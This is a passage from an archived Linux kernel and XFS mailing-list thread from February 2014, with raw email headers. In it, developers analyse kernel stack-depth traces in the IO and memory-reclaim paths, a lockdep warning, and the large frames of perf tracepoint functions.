get_page_from_freelist+0x3a8/0x8a0 2) 4624 256 __alloc_pages_nodemask+0x143/0x8e0 3) 4368 80 alloc_pages_current+0xb2/0x170 4) 4288 64 new_slab+0x265/0x2e0 5) 4224 240 __slab_alloc+0x2fb/0x4c4 6) 3984 80 kmem_cache_alloc+0x10b/0x140 7) 3904 48 kmem_zone_alloc+0x77/0x100 If it enters reclaim and we are allowed to IO? Well, you saw the stack I posted in the other thread - 4700 bytes from kmem_cache_alloc() to the top of the stack. Another bad case is the swap path (using a scsi device rather than virtio for the root/swap devices): Depth Size Location (44 entries) ----- ---- -------- 0) 4496 16 mempool_alloc_slab+0x15/0x20 1) 4480 128 mempool_alloc+0x66/0x170 2) 4352 16 scsi_sg_alloc+0x4e/0x60 3) 4336 112 __sg_alloc_table+0x68/0x130 4) 4224 32 scsi_init_sgtable+0x34/0x90 5) 4192 48 scsi_init_io+0x34/0xd0 6) 4144 32 scsi_setup_fs_cmnd+0x66/0xa0 7) 4112 112 sd_prep_fn+0x2a0/0xce0 8) 4000 48 blk_peek_request+0x13c/0x260 9) 3952 112 scsi_request_fn+0x4b/0x490 10) 3840 32 __blk_run_queue+0x37/0x50 11) 3808 64 queue_unplugged+0x39/0xb0 12) 3744 112 blk_flush_plug_list+0x20b/0x240 13) 3632 80 blk_queue_bio+0x1ca/0x310 14) 3552 48 generic_make_request+0xc0/0x110 15) 3504 96 submit_bio+0x71/0x120 16) 3408 160 __swap_writepage+0x184/0x220 17) 3248 32 swap_writepage+0x42/0x90 18) 3216 304 shrink_page_list+0x6fd/0xa20 19) 2912 208 shrink_inactive_list+0x243/0x480 20) 2704 288 shrink_lruvec+0x371/0x670 21) 2416 112 do_try_to_free_pages+0x11a/0x360 22) 2304 192 try_to_free_pages+0x110/0x190 23) 2112 256 __alloc_pages_nodemask+0x5a2/0x8e0 24) 1856 80 alloc_pages_current+0xb2/0x170 25) 1776 64 new_slab+0x265/0x2e0 26) 1712 240 __slab_alloc+0x2fb/0x4c4 27) 1472 80 kmem_cache_alloc+0x10b/0x140 28) 1392 48 kmem_zone_alloc+0x77/0x100 There's over 3k in the stack from kmem_zone_alloc(GFP_KERNEL) and that's got nothing XFS in it at all - it's just memory allocation, reclaim and Io path. And it also demonstrates that the scsi layer has significant stack usage. here's 2.5k from submit_bio() on virtio block device: Depth Size Location (44 entries) ----- ---- -------- 0) 4512 64 update_curr+0x8b/0x160 1) 4448 96 enqueue_task_fair+0x39d/0xd50 2) 4352 48 enqueue_task+0x50/0x60 3) 4304 16 activate_task+0x23/0x30 4) 4288 32 ttwu_do_activate.constprop.84+0x3c/0x70 5) 4256 96 try_to_wake_up+0x1b4/0x2c0 6) 4160 16 default_wake_function+0x12/0x20 7) 4144 32 autoremove_wake_function+0x16/0x40 8) 4112 80 __wake_up_common+0x55/0x90 9) 4032 64 __wake_up+0x48/0x70 10) 3968 80 wakeup_kswapd+0xe7/0x130 11) 3888 256 __alloc_pages_nodemask+0x371/0x8e0 12) 3632 80 alloc_pages_current+0xb2/0x170 13) 3552 64 new_slab+0x265/0x2e0 14) 3488 240 __slab_alloc+0x2fb/0x4c4 15) 3248 80 __kmalloc+0x133/0x180 16) 3168 112 virtqueue_add_sgs+0x2fe/0x520 17) 3056 288 __virtblk_add_req+0xd5/0x180 18) 2768 96 virtio_queue_rq+0xdd/0x1d0 19) 2672 112 __blk_mq_run_hw_queue+0x1c3/0x3c0 20) 2560 16 blk_mq_run_hw_queue+0x35/0x40 21) 2544 80 blk_mq_insert_requests+0xc5/0x120 22) 2464 96 blk_mq_flush_plug_list+0x129/0x140 23) 2368 112 blk_flush_plug_list+0xe7/0x240 24) 2256 128 blk_mq_make_request+0x3ca/0x510 25) 2128 48 generic_make_request+0xc0/0x110 26) 2080 96 submit_bio+0x71/0x120 You can also see the difference in stack usage that the blk_mq layer adds compared to the previous trace that went through the old code to get to the SCSI stack. And you saw the memory reclaim via shrinker path taht I posted in another email - that was 4700 bytes from kmem_cache_alloc() to teh top of the stack (can be reduced to about 2000 bytes by having XFS chop it in half). > If the new block-mq code is to blame, it needs to be fixed. It's a symptom of the pattern of gradual growth in just about every core subsystem. Each individual change is not significant, but when you put the whole stack together the canary is well and truly dead. > __virtblk_add_req() has a 300-byte stack frame, it seems. Looking > elsewhere, blkdev_issue_discard() has 350 bytes of stack frame, but is > hopefully not in any normal path - online discard is moronic, and I'm > assuming XFS doesn't do that. We *support* it, but we don't *recommend* it. So, no, that's not the problem path. ;) > There's a lot of 200+ byte stack frames in block/blk-core.s, and they > all seem to be of the type perf_trace_block_buffer() - things created > with DECLARE_EVENT_CLASS(), afaik. Why they all have 200+ bytes of > frame, I have no idea. That sounds like a potential disaster too, > although hopefully it's mostly leaf functions - but leaf functions > *deep* in the callchain. Tejun? Steven, why _do_ they end up with such > huge frames? And it's leaf functions that the CONFIG_STACK_TRACER doesn't catch on x86-64 (at least, according to the documentation). CONFIG_DEBUG_STACK_USAGE output is showing up to 800 bytes more stack usage than the tracer. As such, I also think that CONFIG_DEBUG_STACK_USAGE output is a more reliable iindication of stack usage because it is canary based and so captures the very worst case usage of the process's stack... It really seems to me that we have got to the point where it is not safe to do anything like submit IO or try to do memory allocation with any more than half the stack space consumed.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From hughd@google.com Wed Feb 12 05:06:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AF7F97F50 for ; Wed, 12 Feb 2014 05:06:56 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 98D16304039 for ; Wed, 12 Feb 2014 03:06:53 -0800 (PST) X-ASG-Debug-ID: 1392203211-04cbb00c2a2e2130001-NocioJ Received: from mail-pd0-f169.google.com (mail-pd0-f169.google.com [209.85.192.169]) by cuda.sgi.com with ESMTP id F9CacRezC7RjGSpq (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 12 Feb 2014 03:06:51 -0800 (PST) X-Barracuda-Envelope-From: hughd@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.169 Received: by mail-pd0-f169.google.com with SMTP id v10so8907065pde.0 for ; Wed, 12 Feb 2014 03:06:50 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=date:from:to:cc:subject:in-reply-to:message-id:references :user-agent:mime-version:content-type; bh=yUL8srTfjPQCzDRaTxGPBTZrzTMwLqEsttbS7F4N2HY=; b=lsscUWfYWDFlHwtFocNCuh1ZQ4qjtpnx6TEt1f5gnrZjgRh691sapocWOqOnT5w4ZY 1lticGDO9C6Hu175O1/waiwuHy+IktKuhaDoE0CAAydT5I+x9AfwFhlJgIBARrI6fN4O RyzQXwETyvH4NqRd/IqG3p99IigzOsHmqOae+WEh2vSZJ8kI95tSbB4UItq8KeW5Pyw/ l+1C06Hs5K3EfAAR/gLrDHk/+RGSwXLms4U4Oi2o1NnqrdDRqEtMzPFq4Xyb/P7HEbpv DsqOG6AP1IahF4HAJZerTGRCH/zPfdVy+r6HBxzWql/QguIYna/1XZ5tROMfvMAryqUB yQsw== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:in-reply-to:message-id :references:user-agent:mime-version:content-type; bh=yUL8srTfjPQCzDRaTxGPBTZrzTMwLqEsttbS7F4N2HY=; b=KRzl5p2WmloJag1Y7g1gTAnoGhzF1JoFz/aHF/9waqLEOv4sotl3dDsoleL7DhukyB mOgARpkPyA7uyhISqDsNcqRpoWpBAeXiEX/bJ8Jxgw5mfiovth3QLgyjBxOM4/yEOLDa kezZxwTvnNYfCpD6K0wlM7acDw9/5QdOjrJ/R1pFYVmr+HwceQ4+MgJx5+Smeyiuc3CF t6KrpU52qEyVlwF2hsxZjAyC4Qw7bFGtlKRvNma2+x2jY0kysWFxq7ilM4QEfwMlWP4M Ggy/znUzal8iLP9QfltCbdsCucQvJ4hXSJwzLkkq7Ig9f6yqX07rakrqRHaLtgwcqbfQ +HIA== X-Gm-Message-State: ALoCoQnpnZqlXGf/Wny/SLiz4B4/XivtNQ4f22oeo5wQyQrFlPcNf+uLa89sQgRGlrLIIA7bXcF25+HT90mDjomn0EoFULS6Lrnh7XABUDIwGAmqG0uxazvMPGLoSb71q2QmE72FVpMpZ1Md42y+4WQrarFKXlaxzqg/f8U4Eq7JBvpiaqBiqIZChvoAynSy+funlvbm1Ibh X-Received: by 10.68.201.163 with SMTP id kb3mr11528872pbc.168.1392203210109; Wed, 12 Feb 2014 03:06:50 -0800 (PST) Received: from [192.168.1.19] (c-67-169-183-19.hsd1.ca.comcast.net. [67.169.183.19]) by mx.google.com with ESMTPSA id js7sm62454814pbc.35.2014.02.12.03.06.47 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 12 Feb 2014 03:06:48 -0800 (PST) Date: Wed, 12 Feb 2014 03:05:56 -0800 (PST) From: Hugh Dickins X-X-Sender: hugh@eggly.anvils To: Christian Kujau cc: xfs@oss.sgi.com Subject: Re: 3.14-rc2: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected In-Reply-To: X-ASG-Orig-Subj: Re: 3.14-rc2: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected Message-ID: References: User-Agent: Alpine 2.11 (LSU 23 2013-08-11) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: mail-pd0-f169.google.com[209.85.192.169] X-Barracuda-Start-Time: 1392203211 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145049 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, 12 Feb 2014, Christian Kujau wrote: > On Wed, 12 Feb 2014 at 00:11, Christian Kujau wrote: > > After upgrading from 3.13-rc8 to 3.14-rc2 on this PowerPC G4 machine, this > > happened: > > > > ====================================================== > > [ INFO: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected ] > > 3.14.0-rc2 #1 Not tainted > > ------------------------------------------------------ > > Would this be related to the "mmotm 2014-02-05 list_lru_add lockdep splat" > Hugh posted[0] a few days ago? No, that was due to a patch in mmotm or linux-next: it's not in 3.14-rc2. Hugh > > Christian. > > [0] https://lkml.org/lkml/2014/2/5/878 > > > rm/9206 [HC0[0]:SC0[0]:HE1:SE1] is trying to acquire: > > (&mm->mmap_sem){++++++}, at: [] might_fault+0x58/0xa0 > > > > and this task is already holding: > > (&(&ip->i_lock)->mr_lock){++++-.}, at: [] > > xfs_ilock_data_map_shared+0x28/0x74 > > which would create a new lock dependency: > > (&(&ip->i_lock)->mr_lock){++++-.} -> (&mm->mmap_sem){++++++} > > > > but this new dependency connects a RECLAIM_FS-irq-safe lock: > > (&(&ip->i_lock)->mr_lock){++++-.} > > ... which became RECLAIM_FS-irq-safe at: > > [] lock_acquire+0x4c/0x68 > > [] down_write_nested+0x50/0x9c > > [] xfs_reclaim_inode+0x108/0x31c > > [] xfs_reclaim_inodes_ag+0x1b4/0x35c > > [] xfs_reclaim_inodes_nr+0x38/0x4c > > [] super_cache_scan+0x148/0x150 > > [] shrink_slab_node+0x134/0x224 > > [] shrink_slab+0x124/0x13c > > [] kswapd+0x460/0x77c > > [] kthread+0xbc/0xd0 > > [] ret_from_kernel_thread+0x5c/0x64 > > > > to a RECLAIM_FS-irq-unsafe lock: > > (&mm->mmap_sem){++++++} > > ... which became RECLAIM_FS-irq-unsafe at: > > ... [] lockdep_trace_alloc+0x84/0x104 > > [] __alloc_pages_nodemask+0x88/0x6b4 > > [] pte_alloc_one+0x30/0x90 > > [] __pte_alloc+0x20/0xf4 > > [] move_page_tables+0x2a0/0x2c4 > > [] setup_arg_pages+0x20c/0x2c8 > > [] load_elf_binary+0x378/0x1234 > > [] search_binary_handler+0x98/0x1c8 > > [] do_execve+0x484/0x574 > > [] try_to_run_init_process+0x18/0x58 > > [] kernel_init+0xac/0x104 > > [] ret_from_kernel_thread+0x5c/0x64 > > [...] > > > > Full dmesg & .config: http://nerdbynature.de/bits/3.14-rc2/ > > > > Thanks, > > Christian. > > -- > > BOFH excuse #17: > > > > fat electrons in the lines > -- > BOFH excuse #17: > > fat electrons in the lines > From viro@ftp.linux.org.uk Wed Feb 12 05:39:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9E3CF7F50 for ; Wed, 12 Feb 2014 05:39:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 25A30AC007 for ; Wed, 12 Feb 2014 03:39:36 -0800 (PST) X-ASG-Debug-ID: 1392205174-04cb6c6de32e8330001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id i0Z7hQmXyumMQD0O (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 12 Feb 2014 03:39:35 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WDYA4-00061P-9U; Wed, 12 Feb 2014 11:39:28 +0000 Date: Wed, 12 Feb 2014 11:39:28 +0000 From: Al Viro To: Linus Torvalds Cc: Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212113928.GO18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392205175 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145049 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 11, 2014 at 10:28:12PM -0800, Linus Torvalds wrote: > It looks like just "do_signal()" has a stack frame that is about 230 > bytes even under normal circumstancs (largely due to "struct ksignal" > - which in turn is largely due to the insane 128-byte padding in > siginfo_t). Add a few other frames in there, and I guess that if it > was close before, the coredump path just makes it go off. We could, in principle, put it into task_struct and make get_signal() return its address - do_signal() is called only in the code that does assorted returns to userland... From rostedt@goodmis.org Wed Feb 12 06:40:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7F38C7F50 for ; Wed, 12 Feb 2014 06:40:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0DC74AC001 for ; Wed, 12 Feb 2014 04:40:43 -0800 (PST) X-ASG-Debug-ID: 1392208838-04cbb00c292e9510001-NocioJ Received: from cdptpa-oedge-vip.email.rr.com (cdptpa-outbound-snat.email.rr.com [107.14.166.226]) by cuda.sgi.com with ESMTP id J8f1o8MNAUCtmGwU for ; Wed, 12 Feb 2014 04:40:39 -0800 (PST) X-Barracuda-Envelope-From: rostedt@goodmis.org X-Barracuda-Apparent-Source-IP: 107.14.166.226 Received: from [67.255.60.225] ([67.255.60.225:51092] helo=gandalf.local.home) by cdptpa-oedge03 (envelope-from ) (ecelerity 3.5.0.35861 r(Momo-dev:tip)) with ESMTP id D4/E4-13746-5CB6BF25; Wed, 12 Feb 2014 12:40:38 +0000 Date: Wed, 12 Feb 2014 07:40:36 -0500 From: Steven Rostedt To: Linus Torvalds Cc: Dave Chinner , Jens Axboe , Tejun Heo , Dave Jones , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com, Ingo Molnar , Peter Zijlstra , Frederic Weisbecker Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212074036.4c6105b5@gandalf.local.home> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. In-Reply-To: References: <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212055027.GA28502@redhat.com> <20140212061038.GC13997@dastard> <20140212063150.GD13997@dastard> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; x86_64-pc-linux-gnu) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-RR-Connecting-IP: 107.14.168.142:25 X-Cloudmark-Score: 0 X-Barracuda-Connect: cdptpa-outbound-snat.email.rr.com[107.14.166.226] X-Barracuda-Start-Time: 1392208838 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- [ Added the perf tracepoint maintainers ] On Tue, 11 Feb 2014 22:59:58 -0800 Linus Torvalds wrote: > On Tue, Feb 11, 2014 at 10:31 PM, Dave Chinner wrote: > > > > FYI, just creating lots of files with open(O_CREAT): > > > > [ 348.718357] fs_mark (4828) used greatest stack depth: 2968 bytes left > > [ 348.769846] fs_mark (4814) used greatest stack depth: 2312 bytes left > > [ 349.777717] fs_mark (4826) used greatest stack depth: 2280 bytes left > > [ 418.139415] fs_mark (4928) used greatest stack depth: 1936 bytes left > > [ 460.492282] fs_mark (4993) used greatest stack depth: 1336 bytes left > > [ 544.825418] fs_mark (5104) used greatest stack depth: 1112 bytes left > > [ 689.503970] fs_mark (5265) used greatest stack depth: 1000 bytes left > > > > We've got absolutely no spare stack space anymore in the IO path. > > And the IO path can't get much simpler than filesystem -> virtio > > block device. > > Ugh, that's bad. A thousand bytes of stack space is much too close to > any limits. > > Do you have the stack traces for these things so that we can look at > worst offenders? > > If the new block-mq code is to blame, it needs to be fixed. > __virtblk_add_req() has a 300-byte stack frame, it seems. Looking > elsewhere, blkdev_issue_discard() has 350 bytes of stack frame, but is > hopefully not in any normal path - online discard is moronic, and I'm > assuming XFS doesn't do that. > > There's a lot of 200+ byte stack frames in block/blk-core.s, and they > all seem to be of the type perf_trace_block_buffer() - things created > with DECLARE_EVENT_CLASS(), afaik. Why they all have 200+ bytes of > frame, I have no idea. That sounds like a potential disaster too, > although hopefully it's mostly leaf functions - but leaf functions > *deep* in the callchain. Tejun? Steven, why _do_ they end up with such > huge frames? The perf_trace_##event is defined in include/trace/ftrace.h. There we have this: perf_trace_##call(void *__data, proto) \ { \ struct ftrace_event_call *event_call = __data; \ struct ftrace_data_offsets_##call __maybe_unused __data_offsets;\ struct ftrace_raw_##call *entry; \ struct pt_regs __regs; \ u64 __addr = 0, __count = 1; \ struct task_struct *__task = NULL; \ struct hlist_head *head; \ int __entry_size; \ int __data_size; \ int rctx; \ \ Mostly pointers except for two structures. The __data_offests, is dynamically defined, and only consists of values from the tracepoint entry_structure that defines dynamic arrays. But the other structure on the stack looks a bit harrier. The pt_regs structure. That's what? 21 unsigned longs? 21 * 8 = 168. I think that's the culprit here. Peter and Frederic, is there a way not to store that on the stack? -- Steve > > And if the stack use comes from the VFS layer, we can probably work on > that too. But I don't think that has really changed much lately.. > > Linus From rostedt@goodmis.org Wed Feb 12 06:44:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 463457F50 for ; Wed, 12 Feb 2014 06:44:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 29974304064 for ; Wed, 12 Feb 2014 04:44:25 -0800 (PST) X-ASG-Debug-ID: 1392209063-04cb6c6de02ed3a0001-NocioJ Received: from cdptpa-oedge-vip.email.rr.com (cdptpa-outbound-snat.email.rr.com [107.14.166.226]) by cuda.sgi.com with ESMTP id ytqZbrxDBtOgi7e3 for ; Wed, 12 Feb 2014 04:44:23 -0800 (PST) X-Barracuda-Envelope-From: rostedt@goodmis.org X-Barracuda-Apparent-Source-IP: 107.14.166.226 Received: from [67.255.60.225] ([67.255.60.225:50676] helo=gandalf.local.home) by cdptpa-oedge02 (envelope-from ) (ecelerity 3.5.0.35861 r(Momo-dev:tip)) with ESMTP id 06/E7-00804-6AC6BF25; Wed, 12 Feb 2014 12:44:23 +0000 Date: Wed, 12 Feb 2014 07:44:22 -0500 From: Steven Rostedt To: Tejun Heo Cc: Linus Torvalds , Dave Chinner , Jens Axboe , Dave Jones , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com, Ingo Molnar , Peter Zijlstra , Frederic Weisbecker Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212074422.1eaff068@gandalf.local.home> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. In-Reply-To: <20140212081333.GC7984@mtj.dyndns.org> References: <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212055027.GA28502@redhat.com> <20140212061038.GC13997@dastard> <20140212063150.GD13997@dastard> <20140212081333.GC7984@mtj.dyndns.org> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; x86_64-pc-linux-gnu) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-RR-Connecting-IP: 107.14.168.130:25 X-Cloudmark-Score: 0 X-Barracuda-Connect: cdptpa-outbound-snat.email.rr.com[107.14.166.226] X-Barracuda-Start-Time: 1392209063 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, 12 Feb 2014 03:13:33 -0500 Tejun Heo wrote: > On Tue, Feb 11, 2014 at 10:59:58PM -0800, Linus Torvalds wrote: > > There's a lot of 200+ byte stack frames in block/blk-core.s, and they > > all seem to be of the type perf_trace_block_buffer() - things created > > with DECLARE_EVENT_CLASS(), afaik. Why they all have 200+ bytes of > > frame, I have no idea. That sounds like a potential disaster too, > > although hopefully it's mostly leaf functions - but leaf functions > > *deep* in the callchain. Tejun? Steven, why _do_ they end up with such > > huge frames? > > It looks like they're essentially the same for all the automatically > generated trace functions. I'm seeing 232 byte stack frame in most of > them. If I'm not completely confused by these macros, these are > generated by DECLARE_EVENT_CLASS() in include/trace/ftrace.h and > contains struct pt_regs in the stack frame which is already 168 bytes, > so that seems like the culprit. No idea whether this is something > avoidable. At least they shouldn't nest in any way. Steven? They shouldn't nest. But if the perf tracepoint is active, I don't know how much more of the stack is used in the functions that tracepoint calls. -- Steve From rostedt@goodmis.org Wed Feb 12 06:51:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D3F457F50 for ; Wed, 12 Feb 2014 06:51:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7CC86AC007 for ; Wed, 12 Feb 2014 04:51:27 -0800 (PST) X-ASG-Debug-ID: 1392209484-04bdf0121f30d960001-NocioJ Received: from cdptpa-oedge-vip.email.rr.com (cdptpa-outbound-snat.email.rr.com [107.14.166.226]) by cuda.sgi.com with ESMTP id OPrPRWexZDNJXfei for ; Wed, 12 Feb 2014 04:51:24 -0800 (PST) X-Barracuda-Envelope-From: rostedt@goodmis.org X-Barracuda-Apparent-Source-IP: 107.14.166.226 Received: from [67.255.60.225] ([67.255.60.225:53278] helo=gandalf.local.home) by cdptpa-oedge02 (envelope-from ) (ecelerity 3.5.0.35861 r(Momo-dev:tip)) with ESMTP id 03/1C-00804-B4E6BF25; Wed, 12 Feb 2014 12:51:24 +0000 Date: Wed, 12 Feb 2014 07:50:59 -0500 From: Steven Rostedt To: Dave Chinner Cc: Linus Torvalds , Jens Axboe , Tejun Heo , Dave Jones , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212075059.0e3d41ab@gandalf.local.home> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. In-Reply-To: <20140212083513.GF13997@dastard> References: <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212055027.GA28502@redhat.com> <20140212061038.GC13997@dastard> <20140212063150.GD13997@dastard> <20140212083513.GF13997@dastard> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; x86_64-pc-linux-gnu) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-RR-Connecting-IP: 107.14.168.130:25 X-Cloudmark-Score: 0 X-Barracuda-Connect: cdptpa-outbound-snat.email.rr.com[107.14.166.226] X-Barracuda-Start-Time: 1392209484 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145051 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, 12 Feb 2014 19:35:13 +1100 Dave Chinner wrote: > And it's leaf functions that the CONFIG_STACK_TRACER doesn't catch > on x86-64 (at least, according to the documentation). > CONFIG_DEBUG_STACK_USAGE output is showing up to 800 bytes more > stack usage than the tracer. As such, I also think that > CONFIG_DEBUG_STACK_USAGE output is a more reliable iindication of > stack usage because it is canary based and so captures the very > worst case usage of the process's stack... Yeah, with the new fentry 